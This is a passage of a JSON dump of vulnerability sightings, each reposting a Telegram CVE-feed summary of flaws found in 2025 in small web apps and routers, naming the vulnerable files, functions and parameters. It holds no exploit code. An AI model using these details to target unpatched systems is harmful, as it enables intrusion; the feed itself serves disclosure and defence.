more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T18:57:46.000000Z"}, {"uuid": "617aba8c-a3c5-4c22-8ef2-8c91ef5a1818", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4506", "type": "seen", "source": "https://t.me/cvedetector/25014", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4506 - Campcodes Online Food Ordering System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4506 \nPublished : May 10, 2025, 4:15 p.m. | 34\u00a0minutes ago \nDescription : A vulnerability was found in Campcodes Online Food Ordering System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /routers/menu-router.php. The manipulation of the argument 1_price leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T18:57:45.000000Z"}, {"uuid": "5716603f-72a5-4411-85b8-912fc94c23f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4500", "type": "seen", "source": "https://t.me/cvedetector/25013", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4500 - Code-projects Hotel Management System Stack-Based Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4500 \nPublished : May 10, 2025, 1:15 p.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in code-projects Hotel Management System 1.0. Affected by this issue is the function Edit of the component Edit Room. The manipulation of the argument roomnumber leads to stack-based buffer overflow. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T17:17:31.000000Z"}, {"uuid": "b601f57e-95e4-4000-8c30-94e7c4bd9364", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4501", "type": "seen", "source": "https://t.me/cvedetector/25012", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4501 - Apache Code-Projects Album Management System Stack Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2025-4501 \nPublished : May 10, 2025, 1:15 p.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in code-projects Album Management System 1.0. This affects the function searchalbum of the component Search Albums. The manipulation leads to stack-based buffer overflow. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T17:17:31.000000Z"}, {"uuid": "8770daa1-8f64-425c-9dde-fd605aa66f01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4503", "type": "seen", "source": "https://t.me/cvedetector/25011", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4503 - Campcodes Sales and Inventory System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-4503 \nPublished : May 10, 2025, 2:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability was found in Campcodes Sales and Inventory System 1.0 and classified as critical. This issue affects some unknown processing of the file /pages/customer_update.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T17:17:30.000000Z"}, {"uuid": "c39d4593-7bb0-4fa3-abd8-b48cb306bd90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4502", "type": "seen", "source": "https://t.me/cvedetector/25010", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4502 - Campcodes Sales and Inventory System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4502 \nPublished : May 10, 2025, 2:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability has been found in Campcodes Sales and Inventory System 1.0 and classified as critical. This vulnerability affects unknown code of the file /pages/creditor_add.php. The manipulation leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T17:17:29.000000Z"}, {"uuid": "ed9ff404-21e0-4393-a55a-bc51a523ef0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45885", "type": "seen", "source": "https://t.me/cvedetector/24950", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45885 - PHPGURUKUL Vehicle Parking Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-45885 \nPublished : May 9, 2025, 2:15 p.m. | 1\u00a0hour, 58\u00a0minutes ago \nDescription : PHPGURUKUL Vehicle Parking Management System v1.13 is vulnerable to SQL injection in the /vpms/users/login.php file. Attackers can inject malicious code from the parameter 'emailcont' and use it directly in SQL queries. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T18:43:04.000000Z"}, {"uuid": "9e1f4814-1371-488f-a6c4-48c85d0b81d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45887", "type": "seen", "source": "https://t.me/cvedetector/24949", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45887 - Yifang CMS SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45887 \nPublished : May 9, 2025, 3:15 p.m. | 58\u00a0minutes ago \nDescription : Yifang CMS v2.0.2 is vulnerable to Server-Side Request Forgery (SSRF) in /api/file/getRemoteContent. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T18:43:04.000000Z"}, {"uuid": "fb5f78e4-80a2-4ea6-be38-660374ba3035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45841", "type": "seen", "source": "https://t.me/cvedetector/24830", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45841 - TOTOLINK NR1800X Remote Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45841 \nPublished : May 8, 2025, 4:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : TOTOLINK NR1800X V9.1.0u.6681_B20230703 was discovered to contain an authenticated stack overflow via the text parameter in the setSmsCfg function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T20:07:34.000000Z"}, {"uuid": "167b9af8-2af1-4abc-8218-0b7e88dd84b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45820", "type": "seen", "source": "https://t.me/cvedetector/24842", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45820 - Slims Senayan Library Management Systems SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45820 \nPublished : May 8, 2025, 3:15 p.m. | 2\u00a0hours, 9\u00a0minutes ago \nDescription : Slims (Senayan Library Management Systems) 9 Bulian 9.6.1 is vulnerable to SQL Injection in admin/modules/bibliography/pop_author_edit.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T20:07:53.000000Z"}, {"uuid": "fa321945-4eb6-45a3-81e8-e43448a6545d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45819", "type": "seen", "source": "https://t.me/cvedetector/24841", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45819 - Slims Senayan Library Management Systems SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-45819 \nPublished : May 8, 2025, 3:15 p.m. | 2\u00a0hours, 9\u00a0minutes ago \nDescription : Slims (Senayan Library Management Systems) 9 Bulian 9.6.1 is vulnerable to SQL Injection in admin/modules/master_file/author.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T20:07:49.000000Z"}, {"uuid": "c7cbaffd-871d-4786-b92b-590a670ecac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45818", "type": "seen", "source": "https://t.me/cvedetector/24840", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45818 - Slims Senayan Library Management Systems SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45818 \nPublished : May 8, 2025, 3:15 p.m. | 2\u00a0hours, 9\u00a0minutes ago \nDescription : Slims (Senayan Library Management Systems) 9 Bulian 9.6.1 is vulnerable to SQL Injection in admin/modules/master_file/item_status.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T20:07:48.000000Z"}, {"uuid": "f25b6cc1-2a17-4dec-abd4-84633d2d8843", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45798", "type": "seen", "source": "https://t.me/cvedetector/24865", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45798 - TOTOLINK A950RG Command Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45798 \nPublished : May 8, 2025, 8:15 p.m. | 1\u00a0hour, 18\u00a0minutes ago \nDescription : A command execution vulnerability exists in the TOTOLINK A950RG V4.1.2cu.5204_B20210112. The vulnerability is located in the setNoticeCfg interface within the /lib/cste_modules/system.so library, specifically in the processing of the IpTo parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T00:18:59.000000Z"}, {"uuid": "b9a48f24-7c07-413c-b442-d2d7d3e801db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45843", "type": "seen", "source": "https://t.me/cvedetector/24832", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45843 - TOTOLINK NR1800X Router Authenticated Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45843 \nPublished : May 8, 2025, 4:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : TOTOLINK NR1800X V9.1.0u.6681_B20230703 was discovered to contain an authenticated stack overflow via the ssid parameter in the setWiFiGuestCfg function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T20:07:38.000000Z"}, {"uuid": "1b0dcae6-d5dc-4d12-9274-d55b399503d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45842", "type": "seen", "source": "https://t.me/cvedetector/24831", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45842 - TOTOLINK NR1800X Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45842 \nPublished : May 8, 2025, 4:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : TOTOLINK NR1800X V9.1.0u.6681_B20230703 was discovered to contain an authenticated stack overflow via the ssid5g parameter in the setWiFiEasyCfg function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T20:07:35.000000Z"}, {"uuid": "4fb6586b-07bf-4c84-9a9e-da0e7f6a5196", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45428", "type": "seen", "source": "https://t.me/cvedetector/23594", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45428 - Tenda AC9 Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45428 \nPublished : April 23, 2025, 3:16 p.m. | 58\u00a0minutes ago \nDescription : In Tenda ac9 v1.0 with firmware V15.03.05.14_multi, the rebootTime parameter of /goform/SetSysAutoRebbotCfg has a stack overflow vulnerability, which can lead to remote arbitrary code execution. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-23T18:39:47.000000Z"}, {"uuid": "7cb165c1-0949-4381-abcc-617a20c32602", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45427", "type": "seen", "source": "https://t.me/cvedetector/23593", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45427 - Tenda AC9 Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45427 \nPublished : April 23, 2025, 3:16 p.m. | 58\u00a0minutes ago \nDescription : In Tenda AC9 v1.0 with firmware V15.03.05.14_multi, the security parameter of /goform/WifiBasicSet has a stack overflow vulnerability, which can lead to remote arbitrary code execution. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-23T18:39:46.000000Z"}, {"uuid": "f925d5f6-6113-4a72-82b3-f6a6fac5b951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45790", "type": "seen", "source": "https://t.me/cvedetector/24863", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45790 - TOTOLINK A3100R Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45790 \nPublished : May 8, 2025, 8:15 p.m. | 1\u00a0hour, 18\u00a0minutes ago \nDescription : TOTOLINK A3100R V5.9c.1527 is vulnerable to Buffer Overflow via the priority parameter in the setMacQos interface of /lib/cste_modules/firewall.so. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T00:18:57.000000Z"}, {"uuid": "8b15935b-5203-44e2-8aa6-f46be2b22105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45789", "type": "seen", "source": "https://t.me/cvedetector/24862", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45789 - TOTOLINK A3100R Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2025-45789 \nPublished : May 8, 2025, 8:15 p.m. | 1\u00a0hour, 18\u00a0minutes ago \nDescription : TOTOLINK A3100R V5.9c.1527 is vulnerable to buffer overflow via the urlKeyword parameter in setParentalRules. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T00:18:56.000000Z"}, {"uuid": "4fc39cf1-7d3b-4d9c-af9f-b370bf960ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45788", "type": "seen", "source": "https://t.me/cvedetector/24861", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45788 - TOTOLINK A3100R Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45788 \nPublished : May 8, 2025, 8:15 p.m. | 1\u00a0hour, 18\u00a0minutes ago \nDescription : TOTOLINK A3100R V5.9c.1527 is vulnerable to Buffer Overflow via the comment parameter in setMacFilterRules. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T00:18:53.000000Z"}, {"uuid": "0df800c8-dc2d-4064-b5df-ed839dcf2298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45846", "type": "seen", "source": "https://t.me/cvedetector/24835", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45846 - ALFA AIP-W512 Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45846 \nPublished : May 8, 2025, 4:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : ALFA AIP-W512 v3.2.2.2.3 was discovered to contain an authenticated stack overflow via the torrentsindex parameter in the formBTClinetSetting function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T20:07:41.000000Z"}, {"uuid": "012bea69-4a03-4fae-91f5-0d4a512554ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45845", "type": "seen", "source": "https://t.me/cvedetector/24834", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45845 - TOTOLINK NR1800X Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45845 \nPublished : May 8, 2025, 4:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : TOTOLINK NR1800X V9.1.0u.6681_B20230703 was discovered to contain an authenticated stack overflow via the ssid5g parameter in the setWiFiEasyGuestCfg function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T20:07:40.000000Z"}, {"uuid": "f6101a30-01ca-4c0e-ad94-bbe46602490c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45844", "type": "seen", "source": "https://t.me/cvedetector/24833", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45844 - TOTOLINK NR1800X Router Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45844 \nPublished : May 8, 2025, 4:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : TOTOLINK NR1800X V9.1.0u.6681_B20230703 was discovered to contain an authenticated stack overflow via the ssid parameter in the setWiFiBasicCfg function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T20:07:39.000000Z"}, {"uuid": "f7e932b8-1126-481e-97a4-3c9d8028d4c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45020", "type": "seen", "source": "https://t.me/cvedetector/24091", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45020 - PHPGurukul Park Ticketing Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-45020 \nPublished : April 30, 2025, 1:15 p.m. | 28\u00a0minutes ago \nDescription : A SQL Injection vulnerability was discovered in the normal-bwdates-reports-details.php file of PHPGurukul Park Ticketing Management System v2.0. This vulnerability allows remote attackers to execute arbitrary SQL code via the todate parameter in a POST request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-30T16:14:28.000000Z"}, {"uuid": "b28e0037-bcf1-4d01-bbe8-9225f6ee0362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45007", "type": "seen", "source": "https://t.me/cvedetector/24090", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45007 - PHPGurukul Timetable Generator System Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2025-45007 \nPublished : April 30, 2025, 1:15 p.m. | 28\u00a0minutes ago \nDescription : A Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the profile.php file of PHPGurukul Timetable Generator System v1.0. This vulnerability allows remote attackers to execute arbitrary JavaScript code via the adminname POST request parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-30T16:14:27.000000Z"}, {"uuid": "fd31c4a9-bef6-4207-bd82-00a677c161a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45010", "type": "seen", "source": "https://t.me/cvedetector/24122", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45010 - PHPGurukul Park Ticketing Management System HTML Injection\", \n  \"Content\": \"CVE ID : CVE-2025-45010 \nPublished : April 30, 2025, 2:15 p.m. | 1\u00a0hour, 29\u00a0minutes ago \nDescription : A HTML Injection vulnerability was discovered in the normal-bwdates-reports-details.php file of PHPGurukul Park Ticketing Management System v2.0. This vulnerability allows remote attackers to execute arbitrary code via the fromdate and todate POST request parameters. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-30T17:55:24.000000Z"}, {"uuid": "f53094ba-7b06-4a63-ac2e-b21f61502dcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45019", "type": "seen", "source": "https://t.me/cvedetector/24127", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45019 - PHPGurukul Park Ticketing Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-45019 \nPublished : April 30, 2025, 2:15 p.m. | 1\u00a0hour, 29\u00a0minutes ago \nDescription : A SQL injection vulnerability was discovered in /add-foreigners-ticket.php file of PHPGurukul Park Ticketing Management System v2.0. This vulnerability allows remote attackers to execute arbitrary code via the cprice POST request parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-30T17:55:31.000000Z"}, {"uuid": "49754210-aaf9-4054-a69b-4d0decf32720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45018", "type": "seen", "source": "https://t.me/cvedetector/24126", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45018 - PHPGurukul Park Ticketing Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-45018 \nPublished : April 30, 2025, 2:15 p.m. | 1\u00a0hour, 29\u00a0minutes ago \nDescription : A SQL Injection vulnerability was discovered in the foreigner-bwdates-reports-details.php file of PHPGurukul Park Ticketing Management System v2.0. This vulnerability allows remote attackers to execute arbitrary SQL code via the todate parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-30T17:55:30.000000Z"}, {"uuid": "f86aa091-d6c0-4316-932a-72b77f4c640d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45017", "type": "seen", "source": "https://t.me/cvedetector/24125", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45017 - PHPGurukul Park Ticketing Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45017 \nPublished : April 30, 2025, 2:15 p.m. | 1\u00a0hour, 29\u00a0minutes ago \nDescription : A SQL injection vulnerability was discovered in edit-ticket.php of PHPGurukul Park Ticketing Management System v2.0. This vulnerability allows remote attackers to execute arbitrary code via the tprice POST request parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-30T17:55:29.000000Z"}, {"uuid": "e57d320f-5aca-4858-bf44-8ab3c1852483", 